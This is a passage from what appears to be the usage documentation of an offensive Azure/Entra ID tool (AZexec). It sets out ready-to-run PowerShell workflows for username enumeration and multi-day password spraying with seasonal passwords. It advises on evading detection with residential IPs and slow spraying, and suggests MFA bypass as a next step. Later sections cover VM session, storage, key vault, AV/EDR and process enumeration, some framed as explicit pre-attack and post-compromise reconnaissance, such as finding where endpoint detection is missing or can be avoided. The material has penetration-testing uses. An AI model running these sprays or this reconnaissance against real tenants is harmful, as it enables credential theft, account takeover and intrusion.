$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File spray-targets.txt

# Day 1: Test most common password
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-day1.json

# Day 2: Test second most common (24 hours later)
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Winter2024!' -ExportPath spray-day2.json

# Day 3: Test company-specific pattern
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'TargetCorp2024!' -ExportPath spray-day3.json

# Analyze results after campaign
$day1 = Get-Content spray-day1.json | ConvertFrom-Json
$day2 = Get-Content spray-day2.json | ConvertFrom-Json
$day3 = Get-Content spray-day3.json | ConvertFrom-Json

$allValidCreds = @()
$allValidCreds += $day1.AuthResults | Where-Object { $_.Success }
$allValidCreds += $day2.AuthResults | Where-Object { $_.Success }
$allValidCreds += $day3.AuthResults | Where-Object { $_.Success }

Write-Host "[+] Campaign complete - Valid credentials: $($allValidCreds.Count)"
$allValidCreds | Export-Csv campaign-results.csv -NoTypeInformation
```

### Example 28r: Password Spray with Username:Password Format
Testing specific username/password combinations:
```powershell
# Create a file (creds.txt) with format: username:password
# admin:Password123
# alice:Summer2024!
# bob@targetcorp.com:Welcome2024!

# Test all credentials at once
.\azx.ps1 guest -Domain targetcorp.com -UserFile creds.txt -ExportPath cred-test-results.json

# Analyze what worked
$results = Get-Content cred-test-results.json | ConvertFrom-Json
$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$mfaRequired = $validCreds | Where-Object { $_.MFARequired -eq $true }
$fullAccess = $validCreds | Where-Object { $_.HasToken -eq $true }

Write-Host "`nValid Credentials: $($validCreds.Count)"
Write-Host "Full Access (no MFA): $($fullAccess.Count)"
Write-Host "MFA Required: $($mfaRequired.Count)"
```

### Example 28s: Automated Password Spray Analysis
Complete workflow with result analysis and reporting:
```powershell
# Comprehensive password spray with analysis
$domain = "targetcorp.com"
$password = "Summer2024!"

# Step 1: Username enumeration
Write-Host "[*] Phase 1: Enumerating valid usernames..."
.\azx.ps1 users -Domain $domain -CommonUsernames -ExportPath users-enum.csv

# Step 2: Extract valid usernames
$validUsers = Import-Csv users-enum.csv | Where-Object { $_.Exists -eq 'True' }
Write-Host "[+] Found $($validUsers.Count) valid usernames"
$validUsers.Username | Out-File spray-targets.txt

# Step 3: Password spray
Write-Host "[*] Phase 2: Password spraying..."
.\azx.ps1 guest -Domain $domain -UserFile spray-targets.txt -Password $password -ExportPath spray-results.json

# Step 4: Analyze results
$results = Get-Content spray-results.json | ConvertFrom-Json

$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$invalidCreds = $results.AuthResults | Where-Object { $_.Success -eq $false }
$mfaRequired = $results.AuthResults | Where-Object { $_.MFARequired -eq $true }
$lockedAccounts = $results.AuthResults | Where-Object { $_.ErrorCode -eq 'ACCOUNT_LOCKED' }

# Step 5: Generate report
$report = @"

=================================================
   PASSWORD SPRAY ATTACK REPORT
=================================================
Target Domain:        $domain
Test Password:        $password
Date:                 $(Get-Date -Format "yyyy-MM-dd HH:mm:ss")

RESULTS SUMMARY
-------------------------------------------------
Total Usernames Tested:     $($results.AuthResults.Count)
Valid Credentials Found:    $($validCreds.Count)
  - Full Access (no MFA):   $($validCreds.Count - $mfaRequired.Count)
  - MFA Required:           $($mfaRequired.Count)
Invalid Credentials:        $($invalidCreds.Count)
Locked Accounts:            $($lockedAccounts.Count)

VALID CREDENTIALS
-------------------------------------------------
$($validCreds | ForEach-Object { "  [+] $($_.Username) - MFA: $($_.MFARequired)" } | Out-String)

RECOMMENDATIONS
-------------------------------------------------
"@

if ($validCreds.Count -gt 0) {
    $report += "  [!] CRITICAL: Valid credentials found!`n"
    $report += "  [*] Next steps:`n"
    $report += "      1. Test accounts without MFA for full access`n"
    $report += "      2. Attempt MFA bypass techniques for MFA-protected accounts`n"
    $report += "      3. Use valid credentials for further enumeration`n"
}

if ($lockedAccounts.Count -gt 0) {
    $report += "`n  [!] WARNING: $($lockedAccounts.Count) accounts locked during spray`n"
    $report += "  [*] Consider longer delays between attempts`n"
}

$report += "`n=================================================`n"

Write-Host $report
$report | Out-File "spray-report-$(Get-Date -Format 'yyyyMMdd-HHmmss').txt"

Write-Host "`n[+] Report saved to: spray-report-$(Get-Date -Format 'yyyyMMdd-HHmmss').txt"
```

**Why This Two-Phase Approach is Effective:**

1. **Stealth**: GetCredentialType doesn't trigger authentication logs (Phase 1)
2. **Efficiency**: Only spray against validated usernames (avoid wasted attempts)
3. **Safety**: Reduces account lockout risk by testing fewer invalid usernames
4. **Intelligence**: Separate enumeration from credential testing for better OPSEC
5. **Speed**: Validate 100s of usernames quickly, then spray only valid targets

**Detection Considerations:**

| Activity | Detection Risk | SIEM Alert Likelihood | Mitigation |
|----------|----------------|----------------------|------------|
| GetCredentialType enumeration | 🟢 Low | Low - No auth logs generated | Use residential IP, rate-limit requests |
| ROPC password spray | 🟡 Medium | Medium - Failed auth logs | Slow spray (1 password/day), respect lockout thresholds |
| Multiple password spray rounds | 🔴 High | High - Pattern detection | Long delays between passwords (24+ hours) |
| Account lockouts | 🔴 Critical | Critical - Immediate SOC alert | Test minimal passwords, monitor for lockouts |

### Active Session Enumeration Examples (like nxc smb --qwinsta)

### Example 29-sessions-a: Enumerate All Active Sessions
Query sign-in logs for all users in the last 24 hours:
```powershell
.\azx.ps1 sessions
```

**Output Shows:**
- Recent sign-in events (last 24 hours)
- User principal names and display names
- Success/failure status
- Device information (name, OS, browser)
- IP addresses and geographic locations
- Application accessed
- MFA status
- Risk levels (if Identity Protection is enabled)

### Example 29-sessions-b: Target Specific User
Enumerate sessions for a specific user:
```powershell
.\azx.ps1 sessions -Username alice@targetcorp.com
```

**Use Case**: Track sign-in activity for a compromised or suspicious account.

### Example 29-sessions-c: Export Sessions to CSV
Export all session data for analysis:
```powershell
.\azx.ps1 sessions -ExportPath sessions.csv
```

### Example 29-sessions-d: Export to JSON with Full Details
Export with complete session metadata:
```powershell
.\azx.ps1 sessions -ExportPath sessions.json
```

### Example 29-sessions-e: Query Extended Time Range (7 Days)
Query sign-in events for the last 7 days:
```powershell
.\azx.ps1 sessions -Hours 168
```

**Note**: Free Azure AD retains logs for 7 days, Premium P1/P2 for 30 days.

### Example 29-sessions-f: Query Maximum Time Range (30 Days)
Query sign-in events for the last 30 days (requires Premium license):
```powershell
.\azx.ps1 sessions -Hours 720
```

### Example 29-sessions-g: Targeted Long-Term Investigation
Investigate specific user over extended period:
```powershell
.\azx.ps1 sessions -Username alice@targetcorp.com -Hours 168 -ExportPath alice_7day_activity.csv
```

**Use Case**: Track user activity patterns over a week for incident response or insider threat investigation.

### Example 29-sessions-h: Short-Term Real-Time Monitoring
Query only recent sign-ins (last hour):
```powershell
.\azx.ps1 sessions -Hours 1
```

**Use Case**: Monitor active sessions during an ongoing incident or during a penetration test.

**What Sessions Shows:**

| Information | Description | Security Value |
|------------|-------------|----------------|
| **Timestamp** | When the sign-in occurred | Timeline for incident response |
| **User** | UserPrincipalName | Identify compromised accounts |
| **Status** | Success/Failed | Spot brute force attempts |
| **Device Info** | Name, OS, Browser | Detect unusual devices |
| **IP Address** | Source IP | Geolocation tracking |
| **Location** | City, Country | Detect impossible travel |
| **Application** | App accessed | Identify lateral movement |
| **MFA Status** | Required/Not Required | Find MFA bypass attempts |
| **Risk Level** | Low/Medium/High | Identity Protection alerts |

**Detection Use Cases:**

| Scenario | What to Look For | Command |
|----------|-----------------|---------|
| **Compromised Account** | Multiple failed logins, unusual locations | `.\azx.ps1 sessions -Username target@corp.com` |
| **Insider Threat** | Access to unusual applications, off-hours activity | `.\azx.ps1 sessions` (review all users) |
| **Brute Force Detection** | Many failed login attempts from same IP | `.\azx.ps1 sessions -ExportPath logs.csv` (analyze in Excel) |
| **Impossible Travel** | Sign-ins from different countries within short time | Review location data in exported results |
| **MFA Bypass** | Successful logins without MFA where it should be required | Check MFA status in output |

**Azure Equivalent to qwinsta:**

Traditional `qwinsta` shows who's logged into a Windows machine locally. In Azure/cloud environments, this translates to:
- **Sign-in logs** = Active authentication sessions
- **IP address** = Remote connection source
- **Device info** = Client machine details
- **Application** = What service/resource was accessed

**Time Range Configuration:**
- Default: Last 24 hours (`-Hours 24`)
- Configurable: Use `-Hours` parameter (e.g., `-Hours 168` for 7 days)
- Azure AD log retention:
  - **Free tier**: 7 days (max `-Hours 168`)
  - **Premium P1/P2**: 30 days (max `-Hours 720`)

**Permission Requirements:**
- Requires `AuditLog.Read.All` permission
- Guest users typically cannot access sign-in logs
- Must be authenticated (unlike unauthenticated commands like `users` or `tenant`)

**Common Time Ranges:**
- `-Hours 1` - Last hour (real-time monitoring)
- `-Hours 24` - Last day (default)
- `-Hours 168` - Last week (7 days)
- `-Hours 720` - Last 30 days (requires Premium)

---

### Azure VM Logged-On Users Enumeration Examples (like nxc smb --logged-on-users)

**Overview:**  
This command is the Azure equivalent of enumerating logged-on users using NetExec's `--logged-on-users` flag, which leverages the **Workstation Service (wkssvc)** RPC interface on Windows. In Azure, AZexec achieves the same result by querying Azure VMs directly using VM Run Command to identify currently logged-on users, their session states, and connection details.

**NetExec Workstation Service Equivalent:**
- **On-Premises**: `nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --loggedon-users`
  - Uses Workstation Service (wkssvc) RPC calls via SMB
  - Enumerates logged-on users through Windows RPC interface
  - Requires network access and valid credentials
  
- **Azure Cloud**: `.\azx.ps1 vm-loggedon`
  - Uses Azure VM Run Command API (similar to PsExec/RPC)
  - Executes `quser` (Windows) or `who` (Linux) directly on VMs
  - Requires Azure RBAC permissions (VM Contributor or VM Command Executor)
  - Works across subscriptions and resource groups

### Example 30-vm-loggedon-a: Enumerate All VMs in Current Subscription
Query all Azure VMs for logged-on users:
```powershell
.\azx.ps1 vm-loggedon
```

**What It Does:**
- Enumerates all VMs in the current Azure subscription
- Queries logged-on users on running VMs
- Displays username, session type, state, and idle time
- Works with both Windows and Linux VMs

### Example 30-vm-loggedon-b: Target Specific Resource Group
Query VMs in a specific resource group:
```powershell
.\azx.ps1 vm-loggedon -ResourceGroup Production-RG
```

**Use Case**: Focus on production systems or specific environments to reduce scope and noise.

### Example 30-vm-loggedon-c: Query Only Running VMs
Filter to only running VMs:
```powershell
.\azx.ps1 vm-loggedon -VMFilter running
```

**Use Case**: Skip stopped VMs to speed up enumeration and focus on active systems.

### Example 30-vm-loggedon-d: Export Results to CSV
Export logged-on users to CSV for analysis:
```powershell
.\azx.ps1 vm-loggedon -ResourceGroup Prod-RG -ExportPath loggedon-users.csv
```

**Use Case**: Create reports for security audits or compliance documentation.

### Example 30-vm-loggedon-e: Query Specific Subscription
Switch to a different subscription:
```powershell
.\azx.ps1 vm-loggedon -SubscriptionId "12345678-1234-1234-1234-123456789012" -ExportPath users.json
```

**Use Case**: Multi-subscription environments or when you don't have access to the default subscription.

### Example 30-vm-loggedon-f: Comprehensive Audit with HTML Report
Generate a full HTML report:
```powershell
.\azx.ps1 vm-loggedon -ExportPath vm-users-report.html
```

**Use Case**: Create visually formatted reports for management or security teams.

**What VM-LoggedOn Shows:**

| Information | Windows VMs | Linux VMs | Security Value |
|------------|-------------|-----------|----------------|
| **VM Name** | Yes | Yes | Identify target machines |
| **Username** | Yes (via quser) | Yes (via who) | Identify active accounts |
| **Session Type** | Console/RDP | TTY/PTS | Determine connection method |
| **Session State** | Active/Disconnected | Active | Current session status |
| **Idle Time** | Yes | Limited | Detect stale sessions |
| **Source IP/Host** | Limited | Yes (via who) | Track connection origin |
| **Resource Group** | Yes | Yes | Group by environment |
| **Power State** | Yes | Yes | Filter running vs stopped |

**Azure Equivalent to Workstation Service (wkssvc) Enumeration:**

NetExec's `--logged-on-users` uses the Workstation Service (wkssvc) RPC interface to enumerate logged-on users. In Azure, this translates to:

| On-Premises Method | Azure Equivalent | How It Works |
|-------------------|------------------|--------------|
| **Workstation Service (wkssvc)** | Azure VM Run Command | Remote execution via Azure Management API |
| **RPC over SMB (port 445)** | HTTPS API calls (port 443) | Azure REST API instead of SMB/RPC |
| **NetWkstaUserEnum** | `quser` (Windows) / `who` (Linux) | Direct OS-level query via Run Command |
| **Instant results** | 5-30 seconds per VM | API latency vs network speed |
| **Network-based** | Cloud API-based | No direct network access needed |

**Technical Implementation:**
- **VM Run Command** = Remote execution capability (similar to PsExec or WinRM)
- **quser (Windows)** = Query user sessions (same as Terminal Services API)
- **who (Linux)** = Query logged-on users (reads wtmp/utmp)
- **Session details** = Username, session type, state, idle time, connection source

**Key Differences from On-Premises:**

| On-Premises (netexec) | Azure (AZexec) |
|----------------------|----------------|
| Queries via SMB/RPC | Queries via Azure Run Command |
| Requires network access | Requires Azure RBAC permissions |
| Instant (network speed) | ~5-30 seconds per VM (API latency) |
| No authentication (null session) | Requires Azure authentication |
| Registry enumeration | Direct OS query (quser/who) |

**Permission Requirements:**
- **Virtual Machine Contributor** role (full VM access) OR
- **Reader** role + **Virtual Machine Command Executor** role (minimal)
- VMs must have Guest Agent installed and running
- VMs must be in 'running' state to query users

**Common Use Cases:**

| Scenario | What to Look For | Command |
|----------|-----------------|---------|
| **Privileged Session Discovery** | Domain admins, local admins logged on | `.\azx.ps1 vm-loggedon -ExportPath users.csv` (filter in Excel) |
| **Stale Session Detection** | High idle times, disconnected sessions | Review idle time column in output |
| **Lateral Movement Tracking** | Same user on multiple VMs | Export and correlate usernames |
| **Incident Response** | Active sessions during compromise window | Cross-reference with sign-in logs (`sessions` command) |
| **Compliance Audit** | Who has access to production systems | `.\azx.ps1 vm-loggedon -ResourceGroup Prod-RG -ExportPath audit.html` |

**Troubleshooting Common Issues:**

| Error | Cause | Solution |
|-------|-------|----------|
| **Authorization failed** | Missing permissions | Grant 'Virtual Machine Contributor' or 'VM Command Executor' role |
| **VM agent not running** | Guest Agent not installed | Install Azure VM Agent on the VM |
| **Query timeout** | VM unresponsive or network issues | Check VM status and network connectivity |
| **No users logged on** | VM running but no active sessions | Normal - VM has no interactive users |

**Integration with Other Commands:**

```powershell
# Step 1: Find VMs with logged-on users
.\azx.ps1 vm-loggedon -ExportPath vm-users.csv

# Step 2: Correlate with Azure AD sign-in logs
.\azx.ps1 sessions -Hours 24 -ExportPath signin-logs.csv

# Step 3: Check for privileged accounts
.\azx.ps1 roles -ExportPath roles.csv

# Step 4: Cross-reference to find privileged users with active VM sessions
# (Analyze CSV files to correlate data)
```

**Security Value:**
- **Attack Surface Mapping**: Identify where privileged accounts are logged in
- **Lateral Movement Detection**: Track account usage across VMs
- **Incident Response**: Quickly identify active sessions during investigation
- **Compliance**: Document who has access to sensitive systems
- **Session Hygiene**: Find and terminate stale or unauthorized sessions

---

### Azure Storage Account Enumeration Examples (Multi-Subscription)

### Example 31-storage-a: Enumerate All Storage Accounts
Enumerate storage accounts across ALL accessible subscriptions:
```powershell
.\azx.ps1 storage-enum
```

**Output Shows:**
- Storage account name, resource group, location
- Security risk level (HIGH/MEDIUM/LOW)
- Security issues (public access, HTTPS, TLS, network rules)
- Blob, File, Table, Queue endpoints

### Example 31-storage-b: Target Specific Subscription
Enumerate storage accounts in a specific subscription:
```powershell
.\azx.ps1 storage-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
```

### Example 31-storage-c: Filter by Resource Group
Enumerate storage accounts in a specific resource group:
```powershell
.\azx.ps1 storage-enum -ResourceGroup Production-RG
```

### Example 31-storage-d: Export Security Audit Report
Generate HTML report for security audit:
```powershell
.\azx.ps1 storage-enum -ExportPath storage-security-audit.html
```

**What storage-enum Checks:**

| Check | Risk Level | Description |
|-------|-----------|-------------|
| **Blob Public Access** | HIGH | Storage accounts allowing public blob access |
| **HTTPS-Only Disabled** | MEDIUM | Storage accounts not requiring HTTPS |
| **Network Default: Allow** | MEDIUM | Storage accounts allowing all network access |
| **TLS Version < 1.2** | LOW | Storage accounts with older TLS versions |
| **Shared Key Access** | LOW | Storage accounts allowing shared key auth |

---

### Azure Key Vault Enumeration Examples (Multi-Subscription)

### Example 32-keyvault-a: Enumerate All Key Vaults
Enumerate Key Vaults across ALL accessible subscriptions:
```powershell
.\azx.ps1 keyvault-enum
```

**Output Shows:**
- Key Vault name, resource group, location
- Vault URI
- Security settings (soft delete, purge protection, RBAC)
- Access policy count
- Risk level and security issues

### Example 32-keyvault-b: Target Specific Subscription with Export
Enumerate Key Vaults in a specific subscription and export to JSON:
```powershell
.\azx.ps1 keyvault-enum -SubscriptionId "12345678-1234-1234-1234-123456789012" -ExportPath keyvaults.json
```

### Example 32-keyvault-c: Security Audit with HTML Report
Generate comprehensive security audit report:
```powershell
.\azx.ps1 keyvault-enum -ExportPath keyvault-security-audit.html
```

**What keyvault-enum Checks:**

| Check | Risk Level | Description |
|-------|-----------|-------------|
| **Public Network Access** | MEDIUM | Key Vaults with public network access enabled |
| **Soft Delete Disabled** | MEDIUM | Key Vaults without soft delete protection |
| **Purge Protection Disabled** | LOW | Key Vaults without purge protection |
| **RBAC Disabled** | LOW | Key Vaults using access policies instead of RBAC |
| **Many Access Policies** | INFO | Key Vaults with >10 access policies |

---

### Azure Network Enumeration Examples (Multi-Subscription)

### Example 33-network-a: Enumerate All Network Resources
Enumerate network resources across ALL accessible subscriptions:
```powershell
.\azx.ps1 network-enum
```

**Resources Enumerated:**
- Virtual Networks (VNets) - address spaces, subnets, peerings
- Network Security Groups (NSGs) - rules, risky inbound rules
- Public IP Addresses - allocation, association status
- Load Balancers - frontend IPs, backend pools

### Example 33-network-b: Target Specific Subscription
Enumerate network resources in a specific subscription:
```powershell
.\azx.ps1 network-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
```

### Example 33-network-c: Filter by Resource Group with CSV Export
Enumerate network resources in a specific resource group:
```powershell
.\azx.ps1 network-enum -ResourceGroup Production-RG -ExportPath network-audit.csv
```

### Example 33-network-d: Generate HTML Security Report
Generate comprehensive network security report:
```powershell
.\azx.ps1 network-enum -ExportPath network-security-report.html
```

**What network-enum Checks:**

| Check | Risk Level | Description |
|-------|-----------|-------------|
| **Risky NSG Inbound Rules** | HIGH | Open ports (22, 3389, 445, 135, 1433, etc.) from Internet/Any |
| **Unassociated Public IPs** | MEDIUM | Public IPs not associated with any resource |
| **VNet Peerings** | INFO | Virtual network peering configurations |

**Security Recommendations:**
- Review and restrict NSG rules allowing traffic from Any/Internet
- Use Just-In-Time VM Access for management ports (22, 3389)
- Consider using Azure Bastion instead of public IPs for VM access
- Implement network segmentation using NSGs and ASGs

---

### BitLocker Enumeration Examples (like nxc smb -M bitlocker)

### Example 34-bitlocker-a: Enumerate BitLocker on All Windows Devices
Enumerate BitLocker encryption status on Intune-managed devices AND Azure VMs:
```powershell
.\azx.ps1 bitlocker-enum
```

**Section 1: Intune-Managed Devices** (laptops, desktops enrolled in Intune)
- Device encryption status (isEncrypted property)
- Device compliance state
- Lists specific devices needing BitLocker

**Section 2: Azure VMs** (IaaS virtual machines in Azure)
- BitLocker volume status (FullyEncrypted, FullyDecrypted, EncryptionInProgress)
- Encryption percentage (0-100%)
- Encryption method (XTS-AES 256/128, AES-CBC 256/128)
- Protection status (On/Off)
- Key protector types (TPM, RecoveryPassword, etc.)
- Volume capacity and lock status

**Example Output (Intune Section):**
```
[*] SECTION 1: INTUNE-MANAGED DEVICES
[+] Found 12 Windows devices in Intune

AZR  5905c343-84f7-  443  T-05  [*] BitLocker ENABLED | Compliance: compliant
AZR  b15754a0-0a2b-  443  D-01  [*] NOT ENCRYPTED | Compliance: noncompliant

[*] Intune Device Summary:
    Total Windows Devices: 12
    BitLocker Enabled: 11
    NOT Encrypted: 1

[!] Devices without BitLocker:
    → D-01
```

### Example 34-bitlocker-b: Target Specific Subscription
Enumerate BitLocker status in a specific subscription:
```powershell
.\azx.ps1 bitlocker-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
```

### Example 34-bitlocker-c: Filter by Resource Group
Enumerate BitLocker status in a specific resource group:
```powershell
.\azx.ps1 bitlocker-enum -ResourceGroup Production-RG
```

### Example 34-bitlocker-d: Export to CSV for Compliance Reporting
Generate CSV report of BitLocker encryption status:
```powershell
.\azx.ps1 bitlocker-enum -ExportPath bitlocker-compliance.csv
```

**CSV includes:**
- **Intune Devices**: Device name, Azure AD Device ID, isEncrypted, compliance state, user, last sync
- **Azure VMs**: Subscription, resource group, VM name, location, size, power state
- **Volumes (VMs)**: Mount point, volume status, encryption percentage, encryption method, protection status, key protector types, risk level

### Example 34-bitlocker-e: Filter Running VMs Only (Default)
Query only running VMs (stopped VMs cannot be queried):
```powershell
.\azx.ps1 bitlocker-enum -VMFilter running  # Default behavior
```

### Example 34-bitlocker-f: Generate JSON Report with Full Details
Export detailed BitLocker status to JSON:
```powershell
.\azx.ps1 bitlocker-enum -ExportPath bitlocker-audit.json
```

**What bitlocker-enum Checks:**

| Check | Risk Level | Description |
|-------|-----------|-------------|
| **Volume Not Encrypted** | HIGH | Volume has no BitLocker encryption (data at rest exposed) |
| **Protection Disabled** | MEDIUM | Volume encrypted but BitLocker protection is disabled |
| **Weak Encryption Method** | MEDIUM | Using AES-CBC instead of XTS-AES |
| **Password-Only Key Protector** | LOW | No TPM protection, password-only key protector |
| **Encryption In Progress** | INFO | Volume is currently being encrypted |

**Security Recommendations:**
- Enable BitLocker on all unencrypted volumes (HIGH PRIORITY)
- Use strong encryption methods (XTS-AES 256)
- Store recovery keys in Azure Key Vault
- Enable automatic BitLocker encryption via Azure Policy
- Consider using Azure Disk Encryption (ADE) for platform-level encryption
- Implement TPM-based key protectors instead of password-only

**NetExec Comparison:**
```bash
# NetExec (On-Premises)
nxc smb 192.168.1.0/24 -u administrator -p 'Password1' -M bitlocker

# AZexec (Azure)
.\azx.ps1 bitlocker-enum
```

Both provide the same encryption status information for Windows systems.

---

### Anti-Virus & EDR Enumeration Examples (like nxc smb -M enum_av)

### Example 35-av-a: Enumerate Security Products on All Devices
Enumerate antivirus and EDR products across all Azure/Entra devices:
```powershell
.\azx.ps1 av-enum
```

**What's Enumerated:**
- Antivirus/Antimalware products (Microsoft Defender, third-party AV)
- Antivirus status (enabled/disabled) and version information
- EDR/XDR solutions (Microsoft Defender for Endpoint)
- MDE onboarding status (Onboarded, Not Onboarded, Healthy, Unhealthy)
- Firewall status (enabled/disabled)
- Encryption status (BitLocker enabled/disabled)
- Device compliance state (Compliant/Non-Compliant)
- Security risk scores (High/Medium/Low)

**Example Output:**
```
AZR             a1b2c3d4-5678...    443    DESKTOP-WIN10-PROD             [*] AV:Microsoft Defender(enabled) v1.403.3761.0 | EDR:Microsoft Defender for Endpoint(enabled) | MDE:Onboarded(healthy) | FW:Enabled | Encryption:BitLocker Enabled
AZR             f9e8d7c6-5432...    443    LAPTOP-FINANCE-01              [*] AV:Unknown(disabled) | EDR:None | MDE:Not Onboarded | FW:DISABLED | Encryption:Unknown
AZR             1a2b3c4d-9876...    443    SERVER-IT-MGMT                 [*] AV:Microsoft Defender(enabled) v1.403.3761.0 | EDR:Microsoft Defender for Endpoint(enabled) | MDE:Onboarded(unhealthy) | FW:Enabled | Encryption:BitLocker Enabled
```

**Color Coding:**
- 🟢 **Green**: Good security posture (AV enabled, MDE onboarded, firewall enabled)
- 🟡 **Yellow**: Warnings (AV enabled but MDE unhealthy or firewall disabled)
- 🔴 **Red**: Critical security gaps (No AV, no MDE, firewall disabled)

### Example 35-av-b: Filter Windows Devices Only
Focus on Windows devices (most relevant for AV/EDR):
```powershell
.\azx.ps1 av-enum -Filter windows
```

### Example 35-av-c: Identify Non-Compliant Devices
Find devices with security compliance issues:
```powershell
.\azx.ps1 av-enum -Filter noncompliant
```

### Example 35-av-d: Export Security Posture Report to CSV
Generate CSV report of all device security posture:
```powershell
.\azx.ps1 av-enum -ExportPath security-posture.csv
```

**CSV includes:**
- Device ID, name, OS, OS version, trust type
- Antivirus product, status, version
- EDR product and status
- MDE onboarding status and health
- Firewall status
- Encryption status
- Compliance state
- Risk score (High/Medium/Low)

### Example 35-av-e: Generate HTML Security Dashboard
Create comprehensive HTML report with statistics and risk analysis:
```powershell
.\azx.ps1 av-enum -ExportPath security-dashboard.html
```

**HTML report includes:**
- Visual statistics dashboard
- Security posture summary
- Color-coded risk indicators
- Device-by-device security details
- Actionable security recommendations

### Example 35-av-f: Identify Critical Security Gaps
Find devices with disabled antivirus or firewall:
```powershell
.\azx.ps1 av-enum | Out-File security-gaps.txt
# Review output for RED colored entries (critical security gaps)
```

**What av-enum Checks:**

| Check | Risk Level | Description |
|-------|-----------|-------------|
| **Antivirus Disabled** | HIGH | No active antivirus protection (malware exposure) |
| **Firewall Disabled** | HIGH | Windows Firewall disabled (network exposure) |
| **MDE Not Onboarded** | MEDIUM | Not enrolled in Microsoft Defender for Endpoint |
| **MDE Unhealthy** | MEDIUM | MDE onboarded but health check failed |
| **No Encryption** | MEDIUM | BitLocker not enabled (data at rest exposure) |
| **Device Non-Compliant** | MEDIUM | Failed compliance policy checks |
| **High Risk Score** | HIGH | Microsoft 365 Defender assigned high risk score |

**Summary Statistics Example:**
```
[*] Security Posture Summary:
    Total Devices: 22
    Microsoft Defender for Endpoint (MDE):
      • Onboarded: 12
      • Healthy: 12
    Antivirus/Antimalware:
      • Enabled: 18
      • DISABLED: 4
    Firewall:
      • Enabled: 0
      • Disabled: 0
    Encryption:
      • Encrypted: 17

[*] Security Recommendations:
    [!] 4 devices have DISABLED antivirus - HIGH RISK!
        → AndroidForWork
        → MacBook Pro
        → 908B
        → FO5I
    [!] 1 Windows devices NOT onboarded to Microsoft Defender for Endpoint
        → LFO5I
        Consider onboarding to MDE for enhanced threat protection
    [!] 2 Windows devices NOT encrypted (BitLocker)
        → 01
        → LFO5I
        Enable BitLocker to protect data at rest
```

**Note:** MDE and BitLocker recommendations only list Windows devices since these are Windows-specific security features. Non-Windows devices (iOS, Android, macOS) are excluded from these recommendations.

**Security Recommendations:**
- Enable antivirus on all devices (HIGH PRIORITY)
- Onboard all devices to Microsoft Defender for Endpoint (MDE)
- Enable Windows Firewall on all devices
- Enable BitLocker encryption for data at rest protection
- Implement device compliance policies via Microsoft Intune
- Configure automatic threat remediation in MDE
- Review and remediate high-risk devices immediately

**Required Permissions:**
```powershell
# Minimum (basic device enumeration):
Device.Read.All

# Recommended (full security posture):
Device.Read.All
DeviceManagementManagedDevices.Read.All       # For Intune data, BitLocker status (requires admin consent)
DeviceManagementConfiguration.Read.All        # For device compliance, encryption policies
SecurityEvents.Read.All                        # For MDE status (requires admin consent)
```

**Detection Methods Used:**
- **Windows Protection State API** (`/deviceManagement/managedDevices/{id}/windowsProtectionState`) - Most reliable for Intune-enrolled devices
- **Microsoft 365 Defender API** - For advanced MDE health status
- **Intune Managed Device Properties** - For `isEncrypted` (BitLocker) status

**Note:** Some permissions require **admin consent**. If you don't see MDE or BitLocker data, an admin may need to grant consent for the application.

**NetExec Comparison:**
```bash
# NetExec (On-Premises)
nxc smb 192.168.1.0/24 -u administrator -p 'Password1' -M enum_av

# Output example:
# SMB  192.168.1.10  445  DC01  [*] Windows Defender: enabled, updated
# SMB  192.168.1.20  445  WS01  [*] Kaspersky Endpoint Security: enabled
# SMB  192.168.1.30  445  WS02  [!] No antivirus detected!

# AZexec (Azure)
.\azx.ps1 av-enum

# Output example:
# AZR  60-eb92-4  443  T-06  [*] AV:Microsoft Defender(enabled) v1.443.147.0 | EDR:Microsoft Defender for Endpoint(enabled) | MDE:Onboarded(healthy) | Encryption:BitLocker Enabled
# AZR  31-d32c-4  443  O5I  [*] AV:Unknown(disabled) | MDE:Not Onboarded
# AZR  a0-b709-4  443  MacBook Pro  [*] AV:Unknown(disabled) | MDE:Not Onboarded
```

Both enumerate security products, but AZexec provides additional cloud-native security information:
- Microsoft Defender for Endpoint onboarding status
- Device compliance policies from Intune
- Security risk scores from Microsoft 365 Defender
- Encryption status via device health attestation

**Attack Scenarios:**

**Scenario 1: Identify Vulnerable Targets**
```powershell
# Find devices without proper security controls
.\azx.ps1 av-enum -Filter noncompliant -ExportPath vulnerable-targets.csv

# Review CSV for:
# - Disabled antivirus (easy malware deployment)
# - No MDE onboarding (no EDR detection)
# - Disabled firewall (easy lateral movement)
# - No encryption (credential theft if device stolen)
```

**Scenario 2: Map Security Coverage**
```powershell
# Generate comprehensive security report
.\azx.ps1 av-enum -ExportPath security-map.html

# Use HTML report to:
# - Identify security gaps across the organization
# - Prioritize remediation efforts (HIGH risk devices first)
# - Track security posture improvement over time
```

**Scenario 3: Pre-Attack Reconnaissance**
```powershell
# Identify targets with weak security posture for initial access
.\azx.ps1 av-enum | Select-String "DISABLED"

# Look for:
# - AV disabled (phishing/malware delivery targets)
# - FW disabled (network exploitation targets)
# - MDE not onboarded (no EDR alerting)
```

**Scenario 4: Post-Compromise Coverage Assessment**
```powershell
# After gaining access, assess detection capabilities
.\azx.ps1 av-enum -ExportPath security-coverage.json

# Analyze:
# - Which devices have EDR (avoid or disable)
# - Which devices lack security controls (easy targets)
# - Overall security maturity of the environment
```

---

### Process Enumeration: `process-enum`

The Azure equivalent of NetExec's `--tasklist` command. Enumerate running processes on Azure VMs:

```powershell
# Enumerate all processes on all Azure VMs (like nxc smb --tasklist)
.\azx.ps1 process-enum

# Filter by process name (like nxc smb --tasklist keepass.exe)
.\azx.ps1 process-enum -ProcessName "keepass.exe"

# Target specific subscription or resource group
.\azx.ps1 process-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
.\azx.ps1 process-enum -ResourceGroup Production-RG

# Filter by VM power state (default: running only)
.\azx.ps1 process-enum -VMFilter running
.\azx.ps1 process-enum -VMFilter all

# Export results to CSV/JSON
.\azx.ps1 process-enum -ExportPath processes.csv
